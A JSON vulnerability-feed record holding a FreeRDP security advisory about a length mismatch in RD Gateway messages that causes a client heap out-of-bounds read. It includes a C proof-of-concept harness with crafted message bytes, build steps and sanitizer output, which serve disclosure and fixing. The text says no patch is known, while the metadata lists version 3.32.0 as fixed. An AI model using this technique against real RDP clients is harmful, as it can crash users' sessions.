{"schema":"threatline.record/2","record":{"id":"GHSA-xf45-j844-588v","aliases":["GHSA-xf45-j844-588v"],"summary":"RD Gateway consent and service message length mismatch causes a client heap out-of-bounds read","details":"### Summary\r\n\r\nA malicious or compromised RD Gateway can send a consent or service message whose outer `MsgBytes` value is much larger than the NDR string's `ActualCount`. When a user connects through that configured gateway, FreeRDP validates only the smaller NDR string, then passes the larger outer length to the normal client message callback. The default command-line callback uses that length while converting the message to UTF-8 and reads beyond the received stream allocation.\r\n\r\nThis is not a TLS interception claim. The attacker must control the configured RD Gateway, or separately defeat the client's certificate validation. The demonstrated impact is client availability. No path returning over-read heap bytes to the gateway was demonstrated, so remote information disclosure is not claimed.\r\n\r\nFreeRDP 3.0.0 through 3.31.1 and current `master` are affected. No patched version is known.\r\n\r\n### Root cause\r\n\r\nIn `libfreerdp/core/gateway/tsg.c`, `TsProxyReadPacketSTringMessage` reads the gateway-controlled `MsgBytes` and limits it only to `TSG_MESSAGING_MAX_MESSAGE_LENGTH`. `tsg_ndr_read_string` then accepts any `ActualCount` no greater than `MsgBytes / sizeof(WCHAR)` and verifies that only `ActualCount * sizeof(WCHAR)` bytes remain in the stream.\r\n\r\n`tsg_ndr_read_consent_message` later passes the unchanged `MsgBytes` with the returned pointer to `PresentGatewayMessage`. The default non-Windows implementation in `client/common/client.c` calls:\r\n\r\n```c\r\nConvertWCharNToUtf8Alloc(message, length / sizeof(WCHAR), nullptr);\r\n```\r\n\r\nThus, an NDR string containing two UTF-16 elements can be passed to the callback with a claimed length of 65,536 bytes.\r\n\r\n### Security impact and prerequisites\r\n\r\n- The victim must initiate an RDP connection through the attacker's malicious or compromised RD Gateway.\r\n- The gateway controls `MsgBytes`, `MaxCount`, `ActualCount`, and the message bytes in the RPC response.\r\n- An unrelated network observer would also have to pass or bypass TLS certificate verification; that scenario was not assumed.\r\n- AddressSanitizer confirms an out-of-bounds read at the end of the received stream allocation.\r\n- A production crash depends on heap layout and the location of a terminating UTF-16 zero. No write primitive, code execution, or attacker-visible disclosure was demonstrated.\r\n\r\n### Proof of concept\r\n\r\nThe following harness includes the production gateway parser from a caller-supplied FreeRDP source root. It supplies `MsgBytes=65536` but only two UTF-16 elements in the NDR string, then performs the exact conversion used by the default command-line callback.\r\n\r\n`poc/tsg_msg.c`:\r\n\r\n```c\r\n#include \"libfreerdp/core/gateway/tsg.c\"\r\n\r\nint main(void)\r\n{\r\n\twLog* log = WLog_Get(\"freerdp.tsg.length-poc\");\r\n\tconst size_t cap = 4096;\r\n\twStream* s = Stream_New(nullptr, cap);\r\n\tif (!s)\r\n\t\treturn 2;\r\n\r\n\tStream_Write_INT32(s, 1);\r\n\tStream_Write_INT32(s, 0);\r\n\tStream_Write_UINT32(s, 65536);\r\n\tStream_Write_UINT32(s, 0x00020000);\r\n\r\n\tStream_Write_UINT32(s, 65536);\r\n\tStream_Write_UINT32(s, 0);\r\n\tStream_Write_UINT32(s, 2);\r\n\tStream_Write_UINT16(s, 0x4141);\r\n\tStream_Write_UINT16(s, 0x4142);\r\n\r\n\twhile (Stream_GetPosition(s) < cap)\r\n\t\tStream_Write_UINT16(s, 0x4141);\r\n\tStream_SealLength(s);\r\n\tStream_ResetPosition(s);\r\n\r\n\tUINT32 index = 0;\r\n\tTSG_PACKET_STRING_MESSAGE msg = WINPR_C_ARRAY_INIT;\r\n\tfprintf(stderr,\r\n\t        \"parsing TSG_PACKET_STRING_MESSAGE (MsgBytes=65536, ActualCount=2)\\n\");\r\n\tif (!TsProxyReadPacketSTringMessage(log, s, &index, &msg))\r\n\t{\r\n\t\tfprintf(stderr, \"parser rejected input\\n\");\r\n\t\tStream_Free(s, TRUE);\r\n\t\treturn 3;\r\n\t}\r\n\r\n\tfprintf(stderr, \"parser ok: msgBytes=%\" PRIu32 \"; invoking client conversion\\n\",\r\n\t        msg.msgBytes);\r\n\tchar* utf8 =\r\n\t    ConvertWCharNToUtf8Alloc(msg.msgBuffer, msg.msgBytes / sizeof(WCHAR), nullptr);\r\n\tfprintf(stderr, \"conversion returned %p (no ASan report)\\n\", (void*)utf8);\r\n\tfree(utf8);\r\n\tStream_Free(s, TRUE);\r\n\treturn 0;\r\n}\r\n```\r\n\r\nBuild FreeRDP 3.31.1 with AddressSanitizer, then compile and run the included harness:\r\n\r\n```sh\r\ngit clone https://github.com/FreeRDP/FreeRDP.git freerdp\r\ngit -C freerdp checkout 3.31.1\r\n\r\ncmake -S freerdp -B freerdp-build \\\r\n  -DCMAKE_BUILD_TYPE=RelWithDebInfo \\\r\n  -DWITH_SANITIZE_ADDRESS=ON \\\r\n  -DWITH_SERVER=OFF \\\r\n  -DWITH_SAMPLE=OFF\r\ncmake --build freerdp-build --parallel\r\n\r\ncd poc\r\n./build.sh ../../freerdp ../../freerdp-build\r\n./run.sh ../../freerdp-build\r\n```\r\n\r\nObserved result:\r\n\r\n```text\r\nparsing TSG_PACKET_STRING_MESSAGE (MsgBytes=65536, ActualCount=2)\r\nparser ok: msgBytes=65536; invoking client conversion\r\nERROR: AddressSanitizer: heap-buffer-overflow\r\nREAD of size 2\r\n    #0 _wcsnlen\r\n    #1 ConvertWCharNToUtf8\r\n    #2 ConvertWCharNToUtf8Alloc\r\n... is located 0 bytes after 4096-byte region\r\n```\r\n\r\nA negative control with `MsgBytes=4`, `MaxCount=2`, and `ActualCount=2` completed through the same parser and conversion without a sanitizer report.\r\n\r\n### Suggested remediation\r\n\r\nUse the NDR string's validated `ActualCount` as the authoritative length passed to every `PresentGatewayMessage` callback, converting it to bytes with overflow-safe arithmetic. Alternatively, reject a message unless `MsgBytes == ActualCount * sizeof(WCHAR)`. Add regression tests for mismatches in both directions, the zero and maximum lengths, both consent and service messages, and every supported callback implementation.\r\n\r\n","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-xf45-j844-588v","source_modified_at":"2026-09-29T06:38:08Z","fetched_at":"2026-10-23T21:10:45.942435Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 3.0.0"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-xf45-j844-588v","source_modified_at":"2026-09-29T06:38:08Z","fetched_at":"2026-10-23T21:10:45.942435Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":4.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-29T06:38:08Z","modified_at":"2026-09-29T06:38:08Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-xf45-j844-588v","fetched_at":"2026-10-23T21:10:45.942435Z","source_modified_at":"2026-09-29T06:38:08Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-29T06:38:08Z","content_hash":"eef12a702a1d06974ec12d9b56aa604e41156b6c05be04fbaa014e73c3b0411e"}}
